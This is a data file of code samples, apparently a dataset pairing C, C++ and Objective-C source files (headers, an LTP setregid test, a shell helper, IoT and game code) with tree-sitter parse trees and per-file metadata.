(translation_unit) "#include <netdb.h>\n#include <sys/socket.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include "resolve.h"\n\n#define MAX_IP_LEN 16\n#define MAX_IP_ADDR_LEN 4\n#define MAX_HOST_LEN 1024\n\nchar *\nresolve(char *ip) {\n static char previous_ip[MAX_IP_LEN] = "";\n static cha...
313
0
{"language": "c", "success": true, "metadata": {"lines": 37, "avg_line_length": 25.68, "nodes": 188, "errors": 0, "source_hash": "0c3f064a03af192997293ca4cf21f9412ce6806d447608a3afaa684d3d147aad", "categorized_nodes": 128}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inc...
77,263
c
/* * return_code.h * * Created on: Jun 21, 2014 * Author: dis-card * This file contains all the return codes( error code, warning code etc..) of the game. */ #define SUCCESS 0 /* Error code starts from -100 and ends at -30 */ #define AL_INIT_ERR -100 #define AL_DISPLAY_ERR -99 /* Warni...
26.33
18
(translation_unit) "/*\n * return_code.h\n *\n * Created on: Jun 21, 2014\n * Author: dis-card\n * This file contains all the return codes( error code, warning code etc..) of the game.\n */\n\n#define SUCCESS 0\n\n\n/* Error code starts from -100 and ends at -30 */\n#define AL_INIT_ERR -100\n#define ...
32
0
{"language": "c", "success": true, "metadata": {"lines": 18, "avg_line_length": 26.33, "nodes": 28, "errors": 0, "source_hash": "48e16249c78a804e81cad27add94bd06d3d7ff7cce5f278918dcf010171a5eac", "categorized_nodes": 7}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_def", "text": "#define\t\t...
77,264
c
#import <Foundation/Foundation.h> @interface EIImage : NSObject { NSString *path; int width; int height; } - (id)initWithPath:(NSString *)image_path; - (int)width; - (int)height; - (NSString *)path; @end
17.82
11
(translation_unit) "#import <Foundation/Foundation.h>\n\n@interface EIImage : NSObject {\n NSString *path;\n int width;\n int height;\n}\n\n- (id)initWithPath:(NSString *)image_path;\n- (int)width;\n- (int)height;\n- (NSString *)path;\n\n@end\n" (preproc_call) "#import <Foundation/Foundation.h>\n" (preproc_direct...
87
7
{"language": "c", "success": true, "metadata": {"lines": 11, "avg_line_length": 17.82, "nodes": 56, "errors": 0, "source_hash": "0d616a23aab1f434e4d076e23c135ef18189bec062607bc04763739e80babc01", "categorized_nodes": 30}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <...
77,265
c
#include "Shell.h" /** * Data_Path - Create a string with a specific path where the s.o * executables are located * @Temp_Environ: Pointer to the PATH environment variable. * Return: Returns an absolute path. */ char * Data_Path(char **Temp_Environ) { char *temp; int counter = 1; /* * Para...
24.93
28
(translation_unit) "#include "Shell.h"\n\n/**\n * Data_Path - Create a string with a specific path where the s.o\n * executables are located\n * @Temp_Environ: Pointer to the PATH environment variable.\n * Return: Returns an absolute path.\n */\n\nchar *\nData_Path(char **Temp_Environ)\n{\n char *temp;\n in...
235
0
{"language": "c", "success": true, "metadata": {"lines": 28, "avg_line_length": 24.93, "nodes": 158, "errors": 0, "source_hash": "5b5e684ca50f7d270fe1d29bd750e1d6ca12f23d9493314e6b5063de0498f703", "categorized_nodes": 95}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#incl...
77,266
c
// // HKMyTableViewCell.h // LIUMING-Finance // // Created by Mac on 17/7/11. // Copyright © 2017年 XIU. All rights reserved. // #import <UIKit/UIKit.h> @protocol My_ToolCellDelegate <NSObject> - (void)clickMy_ToolCellWithTag:(NSInteger)tag; @end @interface My_ToolCell : UITableViewCell +(My_ToolCell *)myTableV...
25.2
15
(translation_unit) "//\n// HKMyTableViewCell.h\n// LIUMING-Finance\n//\n// Created by Mac on 17/7/11.\n// Copyright © 2017年 XIU. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@protocol My_ToolCellDelegate <NSObject>\n\n- (void)clickMy_ToolCellWithTag:(NSInteger)tag;\n\n@end\n\n@interface My_ToolCell : UITa...
81
11
{"language": "c", "success": true, "metadata": {"lines": 15, "avg_line_length": 25.2, "nodes": 54, "errors": 0, "source_hash": "ff0969720ec01eb1edf95507a8a74bdf5709848278cd6e7381cb368ddb5a03a7", "categorized_nodes": 28}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "port <UIKi...
77,267
c
#ifndef __SETTINGS_H__ #define __SETTINGS_H__ #include "flags/FlagSingle.h" #include "flags/FlagNone.h" #include "flags/FlagsParser.h" #include "flags/FlagList.h" #include <string> class Settings { public: std::string input; std::string output; std::string globalTransformation; std::string headMotionEma; ...
39.91
54
(translation_unit) "#ifndef __SETTINGS_H__\n#define __SETTINGS_H__\n\n#include "flags/FlagSingle.h"\n#include "flags/FlagNone.h"\n#include "flags/FlagsParser.h"\n#include "flags/FlagList.h"\n\n#include <string>\n\nclass Settings {\n\npublic:\n\n std::string input;\n std::string output;\n\n std::string globalTransfor...
666
15
{"language": "c", "success": true, "metadata": {"lines": 54, "avg_line_length": 39.91, "nodes": 401, "errors": 0, "source_hash": "f7bb55de6ec3ec56190bee599a98884ca472a228e2add7623238abe1bdfd31d7", "categorized_nodes": 287}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnde...
77,268
c
// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) International Business Machines Corp., 2001 * * Ported by <NAME> */ /* * Test that setregid() fails and sets the proper errno values when a * non-root user attemps to change the real or effective group id to a * value other than the current gid or the ...
28.83
107
(translation_unit) "// SPDX-License-Identifier: GPL-2.0\n/*\n * Copyright (c) International Business Machines Corp., 2001\n *\n * Ported by <NAME>\n */\n\n/*\n * Test that setregid() fails and sets the proper errno values when a\n * non-root user attemps to change the real or effective group id to a\n * value othe...
894
0
{"language": "c", "success": true, "metadata": {"lines": 107, "avg_line_length": 28.83, "nodes": 509, "errors": 0, "source_hash": "8f45654285ffdd373d1f5b64c1cc13e887ec06cd3dc15da4a5376168a52c69e0", "categorized_nodes": 393}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#in...
77,269
c
#import <Foundation/Foundation.h> @interface CSSValue() - (id)initWithUnitType:(CSSUnitType) t; @end
24.25
4
(translation_unit) "#import <Foundation/Foundation.h>\n\n@interface CSSValue()\n\n- (id)initWithUnitType:(CSSUnitType) t;\n\n@end\n" (preproc_call) "#import <Foundation/Foundation.h>\n" (preproc_directive) "#import" (preproc_arg) "<Foundation/Foundation.h>" (ERROR) "@interface CSSValue()\n\n- (id)initWithUn...
33
5
{"language": "c", "success": true, "metadata": {"lines": 4, "avg_line_length": 24.25, "nodes": 20, "errors": 0, "source_hash": "e64e4bbc36d7dfb4056d6f37d0f85649f79987647cc49fe6ae4496e17261d2d7", "categorized_nodes": 11}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <F...
77,270
c
// // ACUserCardEntity+CoreDataProperties.h // AmakenChat // // Created by <NAME> on 29/11/16. // Copyright © 2016 Mallow Technologies Private Limited. All rights reserved. // #import "ACUserCardEntity+CoreDataClass.h" NS_ASSUME_NONNULL_BEGIN @interface ACUserCardEntity (CoreDataProperties) + (NSFetchRequest<A...
36.1
20
(translation_unit) "//\n// ACUserCardEntity+CoreDataProperties.h\n// AmakenChat\n//\n// Created by <NAME> on 29/11/16.\n// Copyright © 2016 Mallow Technologies Private Limited. All rights reserved.\n//\n\n#import "ACUserCardEntity+CoreDataClass.h"\n\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface ACUserCardEntity (CoreDat...
145
12
{"language": "c", "success": true, "metadata": {"lines": 20, "avg_line_length": 36.1, "nodes": 102, "errors": 0, "source_hash": "077c18e613f0c73e8444f5a475d2583c226d90a93ad6b23fa18821269fdc1df9", "categorized_nodes": 67}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "import \"...
77,271
c
// Copyright (c) Facebook, Inc. and its affiliates. // // This source code is licensed under the MIT license found in the // LICENSE file in the root directory of this source tree. #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN typedef NS_ENUM(NSUInteger, FSPCropRequirementEnforcement) { FSPCropRequirem...
41.07
15
(translation_unit) "// Copyright (c) Facebook, Inc. and its affiliates.\n//\n// This source code is licensed under the MIT license found in the\n// LICENSE file in the root directory of this source tree.\n\n#import <Foundation/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\ntypedef NS_ENUM(NSUInteger, FSPCropRequirementEnf...
77
7
{"language": "c", "success": true, "metadata": {"lines": 15, "avg_line_length": 41.07, "nodes": 49, "errors": 0, "source_hash": "0614e1391b708a54fb9a650b353a782d781fcd0a311cccebf260f42ed279bca6", "categorized_nodes": 34}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <...
77,272
c
/* *copyright (C) 2015-2018 Alibaba Group Holding Limited */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <aos/aos.h> #include <aos/yloop.h> #include "netmgr.h" #include "iot_export.h" #include "iot_import.h" #include "vendor.h" #include "device_state_manger.h" #include "f...
30.4
208
(translation_unit) "/*\n *copyright (C) 2015-2018 Alibaba Group Holding Limited\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdarg.h>\n\n#include <aos/aos.h>\n#include <aos/yloop.h>\n#include "netmgr.h"\n#include "iot_export.h"\n#include "iot_import.h"\n#include "vendor.h"\n#include ...
1,383
0
{"language": "c", "success": true, "metadata": {"lines": 208, "avg_line_length": 30.4, "nodes": 745, "errors": 0, "source_hash": "9fb0e19baa20559a45381fb05338370e98d8eb3e737804a732df5fac947cc80b", "categorized_nodes": 518}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inc...
77,273
c
/* * Copyright 2008 <NAME> for CodeWeavers * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This l...
37.4
83
(translation_unit) "/*\n * Copyright 2008 <NAME> for CodeWeavers\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any l...
534
2
{"language": "c", "success": true, "metadata": {"lines": 83, "avg_line_length": 37.4, "nodes": 315, "errors": 0, "source_hash": "c32a995b9be575e6a714a1957a914e5eeef7ee7e3235bb1064167ee0779b9cee", "categorized_nodes": 237}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_def", "text": "#define W...
77,274
c
/** * Copyright (C) 2011, 2012, 2013 CentecNetworks, Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * ...
38.71
153
(translation_unit) "/**\n * Copyright (C) 2011, 2012, 2013 CentecNetworks, Inc. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the "License");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at:\n *\n * http://www.apache.or...
465
0
{"language": "c", "success": true, "metadata": {"lines": 153, "avg_line_length": 38.71, "nodes": 369, "errors": 0, "source_hash": "dc2c9ee29ae486fd4fa98034c6043c71810ad782e4d0ebcfa1c38e4a68bd90ef", "categorized_nodes": 192}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnd...
77,275
c
#pragma once #ifndef __UTILEOL__ #define __UTILEOL__ #include "external\ArcSim\mesh.hpp" #define EIGEN_DONT_ALIGN_STATICALLY #include <Eigen/Dense> Eigen::MatrixXd deform_grad(const Face *f); Eigen::MatrixXd deform_grad_v(const Vert* v); #endif
26.22
9
(translation_unit) "#pragma once\n#ifndef __UTILEOL__\n#define __UTILEOL__\n\n#include "external\ArcSim\mesh.hpp"\n\n#define EIGEN_DONT_ALIGN_STATICALLY\n#include <Eigen/Dense>\n\nEigen::MatrixXd deform_grad(const Face *f);\n\nEigen::MatrixXd deform_grad_v(const Vert* v);\n\n#endif" (preproc_call) "#pragma once\n" ...
67
2
{"language": "c", "success": true, "metadata": {"lines": 9, "avg_line_length": 26.22, "nodes": 45, "errors": 0, "source_hash": "a3226b0f47ba646a86512c2beeef2858236dfeac84ea732ab2df0fd91f2ada68", "categorized_nodes": 29}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma on...
77,276
c
// // NSDictionary+Tools.h // DeveloperTools // // Created by zhang on 2017/1/10. // Copyright © 2017年 YLDeveloperTools. All rights reserved. // #import <Foundation/Foundation.h> @interface NSDictionary (Tools) /** 检查是否是合法的NSDictionary @param dict dictionary @return BOOL value */ + (BOOL)isLegalDictionary:...
18.03
61
(translation_unit) "//\n// NSDictionary+Tools.h\n// DeveloperTools\n//\n// Created by zhang on 2017/1/10.\n// Copyright © 2017年 YLDeveloperTools. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n@interface NSDictionary (Tools)\n\n/**\n 检查是否是合法的NSDictionary\n\n @param dict dictionary\n\n @return BOOL...
195
20
{"language": "c", "success": true, "metadata": {"lines": 61, "avg_line_length": 18.03, "nodes": 123, "errors": 0, "source_hash": "342b3a069aad78140c18d3198b1d08392ca5a7bd43cd3cc9b6b4ae7d940f540f", "categorized_nodes": 68}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "port <Fo...
77,277
c
// Copyright © <NAME> and Contributors. Licensed under the MIT Licence (MIT). See LICENCE.md in the repository root // for more information. #ifndef NOVELRT_INTEROP_GRAPHICS_GRAPHICSTYPEDEFS_H #define NOVELRT_INTEROP_GRAPHICS_GRAPHICSTYPEDEFS_H #ifdef __cplusplus extern "C" { #endif typedef struct NrtBasicFillRe...
36.36
28
(translation_unit) "// Copyright © <NAME> and Contributors. Licensed under the MIT Licence (MIT). See LICENCE.md in the repository root\n// for more information.\n\n#ifndef NOVELRT_INTEROP_GRAPHICS_GRAPHICSTYPEDEFS_H\n#define NOVELRT_INTEROP_GRAPHICS_GRAPHICSTYPEDEFS_H\n\n#ifdef __cplusplus\nextern "C"\n{\n#endif\n\n ...
139
0
{"language": "c", "success": true, "metadata": {"lines": 28, "avg_line_length": 36.36, "nodes": 112, "errors": 0, "source_hash": "fe611773a9acbc657c36a5d7d9de117fa14910d0db022be82b0e9f4436c88285", "categorized_nodes": 75}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "ifndef ...
77,278
c
/* Copyright (C) 2015 <NAME>. * Copyright (C) 1999-2005 <NAME>, <NAME>, Suresh * Jagannathan, and <NAME>. * Copyright (C) 1997-2000 NEC Research Institute. * * MLton is released under a BSD-style license. * See the file MLton-LICENSE for details. */ #if (defined (MLTON_GC_INTERNAL_FUNCS)) static int process...
39.38
13
(translation_unit) "/* Copyright (C) 2015 <NAME>.\n * Copyright (C) 1999-2005 <NAME>, <NAME>, Suresh\n * Jagannathan, and <NAME>.\n * Copyright (C) 1997-2000 NEC Research Institute.\n *\n * MLton is released under a BSD-style license.\n * See the file MLton-LICENSE for details.\n */\n\n#if (defined (MLTON_GC_INTERNA...
77
1
{"language": "c", "success": true, "metadata": {"lines": 13, "avg_line_length": 39.38, "nodes": 56, "errors": 0, "source_hash": "22226e644652b629586517e13049183bc28c225020c950b33b4d170ff5214340", "categorized_nodes": 31}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_if", "text": "#if (define...
77,279
c
///////////////////////////////////////////////////// // Sirnic's Secret Engine © <NAME> // ///////////////////////////////////////////////////// #ifndef SGENGINE_NODE_H #define SGENGINE_NODE_H // Primitives #include "Vec3.h" #include "BoundingBox.h" #include "BoundingSphere.h" // Glm #include "SPath.h" ...
27.11
108
(translation_unit) "/////////////////////////////////////////////////////\n// Sirnic's Secret Engine © <NAME> //\n/////////////////////////////////////////////////////\n\n#ifndef SGENGINE_NODE_H\n#define SGENGINE_NODE_H\n\n// Primitives\n#include "Vec3.h"\n#include "BoundingBox.h"\n#include "BoundingSphere....
682
38
{"language": "c", "success": true, "metadata": {"lines": 108, "avg_line_length": 27.11, "nodes": 459, "errors": 0, "source_hash": "a900636a9088bf0ae0b7f1174ab2cf794216db4ab667ce284f1c52d2644e805a", "categorized_nodes": 315}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "ifnde...
77,280
c
/* * sfm10r4.c * * Created on: 2020-09-21 * Author: PandaWang */ #include "sfm10r4.h" #if defined(_SFM10R4_H_) #include "../../../config/config.h" #include "../../../driver/driver.h" #include "debug.h" #include "string.h" #include "stdlib.h" #if IS_USE_UART(SFM10R4_DRIVER) static UART_DRIVER *uart = 0; #...
22.16
89
(translation_unit) "/*\n * sfm10r4.c\n *\n * Created on: 2020-09-21\n * Author: PandaWang\n */\n#include "sfm10r4.h"\n\n#if defined(_SFM10R4_H_)\n\n#include "../../../config/config.h"\n#include "../../../driver/driver.h"\n#include "debug.h"\n#include "string.h"\n#include "stdlib.h"\n\n\n#if IS_USE_UART(SFM10R4_DR...
707
0
{"language": "c", "success": true, "metadata": {"lines": 89, "avg_line_length": 22.16, "nodes": 442, "errors": 0, "source_hash": "3809809be3907dc35a38997910b0b64144f807a7986b1bbac04180ec7d406444", "categorized_nodes": 352}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inc...
77,281
c
/* ************************************************************************ * Copyright 2014 Advanced Micro Devices, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www...
34.87
164
(translation_unit) "/* ************************************************************************\n * Copyright 2014 Advanced Micro Devices, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the "License");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the Li...
1,409
16
{"language": "c", "success": true, "metadata": {"lines": 164, "avg_line_length": 34.87, "nodes": 893, "errors": 0, "source_hash": "a7e503de56122a1143c2f6892359a3374faa680064bf74145572417461d77cc7", "categorized_nodes": 678}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#in...
77,282
c
/* * Copyright (C) 2019 Intel Corporation * * SPDX-License-Identifier: MIT * */ #pragma once #include "core/unit_tests/helpers/debug_manager_state_restore.h" #include "runtime/os_interface/os_context.h" #include "unit_tests/mocks/mock_context.h" #include "unit_tests/mocks/mock_csr.h" #include "unit_tests/mocks/mo...
35.54
26
(translation_unit) "/*\n * Copyright (C) 2019 Intel Corporation\n *\n * SPDX-License-Identifier: MIT\n *\n */\n\n#pragma once\n#include "core/unit_tests/helpers/debug_manager_state_restore.h"\n#include "runtime/os_interface/os_context.h"\n#include "unit_tests/mocks/mock_context.h"\n#include "unit_tests/mocks/mock_csr.h...
203
8
{"language": "c", "success": true, "metadata": {"lines": 26, "avg_line_length": 35.54, "nodes": 123, "errors": 0, "source_hash": "0cf675cf5d2ce9ab9640e95be81985c9b22212f43b20bf4faf942843ee6ca91b", "categorized_nodes": 92}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma ...
77,283
c
// // StoreBook.h // CollectionViewOverlflow // // Created by <NAME> on 2/25/14. // Copyright (c) 2014 kiwitech. All rights reserved. // #import <UIKit/UIKit.h> @interface StoreBook : UICollectionViewCell @property (nonatomic, retain) UIImageView *imageView; @end
23.36
11
(translation_unit) "//\n// StoreBook.h\n// CollectionViewOverlflow\n//\n// Created by <NAME> on 2/25/14.\n// Copyright (c) 2014 kiwitech. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface StoreBook : UICollectionViewCell\n\n@property (nonatomic, retain) UIImageView *imageView;\n\n@end\n" (comment)...
36
6
{"language": "c", "success": true, "metadata": {"lines": 11, "avg_line_length": 23.36, "nodes": 22, "errors": 0, "source_hash": "2dfcefd173298cda0d216a013054fdcf8ac586412b7fc979d9bbf621fb1a42ea", "categorized_nodes": 11}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <...
77,284
c
version https://git-lfs.github.com/spec/v1 oid sha256:33ac7026fed6eb6e20dbffbe5490ec9ff342b7ce86625defa83dc11196d5683b size 1143
42
3
(translation_unit) "version https://git-lfs.github.com/spec/v1\noid sha256:33ac7026fed6eb6e20dbffbe5490ec9ff342b7ce86625defa83dc11196d5683b\nsize 1143\n" (declaration) "version https://git-lfs.github.com/spec/v1\noid" (type_identifier) "version" (ERROR) "https:" (identifier) "https" (:) ":" (c...
19
2
{"language": "c", "success": true, "metadata": {"lines": 3, "avg_line_length": 42.0, "nodes": 12, "errors": 0, "source_hash": "da71dfee406ec70bf16472b32bff3e8bb5d119a9e0c2900e6f59ed54320f5d93", "categorized_nodes": 9}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "declaration", "text": "version https...
77,285
c
#include "ros/ros.h" #include "sensor_msgs/LaserScan.h" #include "sensor_msgs/Range.h" #include "teraranger_array/RangeArray.h" #include <queue> #define SENSOR_DELAY 0.00015 // CALLBACKS // left ranger callback void r1_range_callback(const sensor_msgs::LaserScan::ConstPtr &scan); // right ranger callback void r2_ra...
29.86
22
(translation_unit) "#include "ros/ros.h"\n#include "sensor_msgs/LaserScan.h"\n#include "sensor_msgs/Range.h"\n#include "teraranger_array/RangeArray.h"\n#include <queue>\n\n\n#define SENSOR_DELAY 0.00015\n\n// CALLBACKS\n// left ranger callback\nvoid r1_range_callback(const sensor_msgs::LaserScan::ConstPtr &scan);\n\n//...
156
7
{"language": "c", "success": true, "metadata": {"lines": 22, "avg_line_length": 29.86, "nodes": 90, "errors": 0, "source_hash": "1642db14ec116d9d5a32bfb11e27349697f9008c22d34aaa7a9f574decac4db3", "categorized_nodes": 63}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inclu...
77,286
c
// // BMUICategory.h // BMBasekit // // Created by DennisDeng on 2017/5/19. // // #ifndef BMUICategory_h #define BMUICategory_h #import "UIBezierPath+BMCategory.h" #import "UIButton+BMCategory.h" #import "UIButton+BMContentRect.h" #import "UIColor+BMCategory.h" #import "UIDevice+BMCategory.h" #import "UIFont+BM...
25.89
36
(translation_unit) "//\n// BMUICategory.h\n// BMBasekit\n//\n// Created by DennisDeng on 2017/5/19.\n//\n//\n\n#ifndef BMUICategory_h\n#define BMUICategory_h\n\n#import "UIBezierPath+BMCategory.h"\n\n#import "UIButton+BMCategory.h"\n#import "UIButton+BMContentRect.h"\n\n#import "UIColor+BMCategory.h"\n#import "UIDev...
91
0
{"language": "c", "success": true, "metadata": {"lines": 36, "avg_line_length": 25.89, "nodes": 82, "errors": 0, "source_hash": "4d3bedf13ca624a953538ea4c6f5d01f7855d4c288732bff710356b55e82a23a", "categorized_nodes": 30}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef ...
77,287
c
<ompts:test> <ompts:testdescription>Test which checks the if clause of the omp task directive. The idear of the tests is to generate a tasks in a single region and pause it immediately. The parent thread now shall set a counter variable which the paused task shall evaluate when woke up.</ompts:testdescription> <ompts:o...
32.21
39
(translation_unit) "<ompts:test>\n<ompts:testdescription>Test which checks the if clause of the omp task directive. The idear of the tests is to generate a tasks in a single region and pause it immediately. The parent thread now shall set a counter variable which the paused task shall evaluate when woke up.</ompts:test...
341
25
{"language": "c", "success": true, "metadata": {"lines": 39, "avg_line_length": 32.21, "nodes": 257, "errors": 0, "source_hash": "01023d11607647dbfffe3e377b6273dfe662064ad41e9c5991d41f7ad81bcd1d", "categorized_nodes": 162}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "ERROR", "text": "<", "parent": ...
77,288
c
/* * make4java - A Makefile for Java projects * * Written in 2016 by <NAME> <<EMAIL>> * * To the extent possible under law, the author have dedicated all * copyright and related and neighboring rights to this software to * the public domain worldwide. This software is distributed without * any warranty. * * Y...
27.85
27
(translation_unit) "/*\n * make4java - A Makefile for Java projects\n *\n * Written in 2016 by <NAME> <<EMAIL>>\n *\n * To the extent possible under law, the author have dedicated all\n * copyright and related and neighboring rights to this software to\n * the public domain worldwide. This software is distributed witho...
84
0
{"language": "c", "success": true, "metadata": {"lines": 27, "avg_line_length": 27.85, "nodes": 60, "errors": 0, "source_hash": "afd3a02c026c53574030c42331e4d7ff2ed74a535db6788f0a374eb559b0d183", "categorized_nodes": 52}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inclu...
77,289
c
#include <stdint.h> #include "soc_AM335x.h" #include "beaglebone.h" #include "gpio_v2.h" #include "hw_types.h" #include "watchdog.h" #include "uart_irda_cir.h" #include "hw_cm_per.h" #include "consoleUtils.h" #include "leds.h" #define LEFT_BUTTON_GPIO_BASE (SOC_GPIO_2_REGS) #define LEFT_BUTTON_PIN (1) ...
34.64
99
(translation_unit) "#include <stdint.h>\n#include "soc_AM335x.h"\n#include "beaglebone.h"\n#include "gpio_v2.h"\n#include "hw_types.h"\n#include "watchdog.h"\n#include "uart_irda_cir.h"\n#include "hw_cm_per.h"\n#include "consoleUtils.h"\n\n#include "leds.h"\n\n#define LEFT_BUTTON_GPIO_BASE (SOC_GPIO_2_REGS)\n#defin...
658
0
{"language": "c", "success": true, "metadata": {"lines": 99, "avg_line_length": 34.64, "nodes": 388, "errors": 0, "source_hash": "f3edea109783a075a394b62d66bbb974d02f8af7b25052324c218e1ea4e0578f", "categorized_nodes": 274}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inc...
77,290
c
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by <NAME>. // #pragma mark Blocks typedef void (^CDUnknownBlockType)(void); // return type and parameters are unknown #pragma mark Named Structures struct HTTPMessagePrivate { struct __CFRuntime...
33.32
218
(translation_unit) "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by <NAME>.\n//\n\n#pragma mark Blocks\n\ntypedef void (^CDUnknownBlockType)(void); // return type and parameters are unknown\n\n#pragma mark Named Structures\n\nstruct HTTPMessage...
1,666
71
{"language": "c", "success": true, "metadata": {"lines": 218, "avg_line_length": 33.32, "nodes": 1170, "errors": 0, "source_hash": "901d8d10d43c1f8ffb67182dbd069296368151503ad359670cb39dda1bd3f980", "categorized_nodes": 672}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#prag...
77,291
c
#include "syscall.h" int klogctl (int type, char *buf, int len) { return syscall(SYS_syslog, type, buf, len); }
21.6
5
(translation_unit) "#include "syscall.h"\n\nint klogctl (int type, char *buf, int len)\n{\n return syscall(SYS_syslog, type, buf, len);\n}\n" (preproc_include) "#include "syscall.h"\n" (#include) "#include" (string_literal) ""syscall.h"" (") """ (string_content) "syscall.h" (") """ (functi...
45
0
{"language": "c", "success": true, "metadata": {"lines": 5, "avg_line_length": 21.6, "nodes": 27, "errors": 0, "source_hash": "6e9f2eb8e0d0b9d0aaaa119f6eee4bad661afae0e907c3206055ec331d248988", "categorized_nodes": 19}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include...
77,292
c
// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved. #pragma once #include "CoreMinimal.h" #include "HAL/ThreadSafeCounter.h" #include "HAL/Runnable.h" #include "HttpPackage.h" #include "Misc/SingleThreadRunnable.h" class IHttpThreadedRequest; /** * Manages Http thread * Assumes any requests entering the ...
35.64
114
(translation_unit) "// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include "CoreMinimal.h"\n#include "HAL/ThreadSafeCounter.h"\n#include "HAL/Runnable.h"\n#include "HttpPackage.h"\n#include "Misc/SingleThreadRunnable.h"\n\nclass IHttpThreadedRequest;\n\n/**\n * Manages Http thread\n * ...
395
25
{"language": "c", "success": true, "metadata": {"lines": 114, "avg_line_length": 35.64, "nodes": 254, "errors": 0, "source_hash": "664b94b29bf3a88a0ef7a9b07b1347b1a36fc7dca7f8d9ff949dce42af41aef8", "categorized_nodes": 160}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragm...
77,293
c
// // BillModel.h // EPay // // Created by strong on 17/5/12. // Copyright © 2017年 strong. All rights reserved. // #import <Foundation/Foundation.h> @interface IseeCustModel : NSObject @property (nonatomic,copy) NSString *id_type_name; @property (nonatomic,copy) NSString *orderid; @property (nonatomic,copy) NSStr...
35.9
30
(translation_unit) "//\n// BillModel.h\n// EPay\n//\n// Created by strong on 17/5/12.\n// Copyright © 2017年 strong. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n@interface IseeCustModel : NSObject\n@property (nonatomic,copy) NSString *id_type_name;\n@property (nonatomic,copy) NSString *orderid;\...
363
76
{"language": "c", "success": true, "metadata": {"lines": 30, "avg_line_length": 35.9, "nodes": 273, "errors": 0, "source_hash": "d3df4a3a42a17ad85ec730a3a9073cf7795578e8653b8c1710cb087d0e7e2651", "categorized_nodes": 138}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "port <Fo...
77,294
c
/* ELF750.h (c)2000 Palestar Inc, <NAME> */ #ifndef ELF750_H #define ELF750_H #include "DarkSpace/GadgetELF.h" //---------------------------------------------------------------------------- class ELF750 : public GadgetELF { public: DECLARE_WIDGET_CLASS(); // NounGadget interface int maxDamage() const { re...
16
52
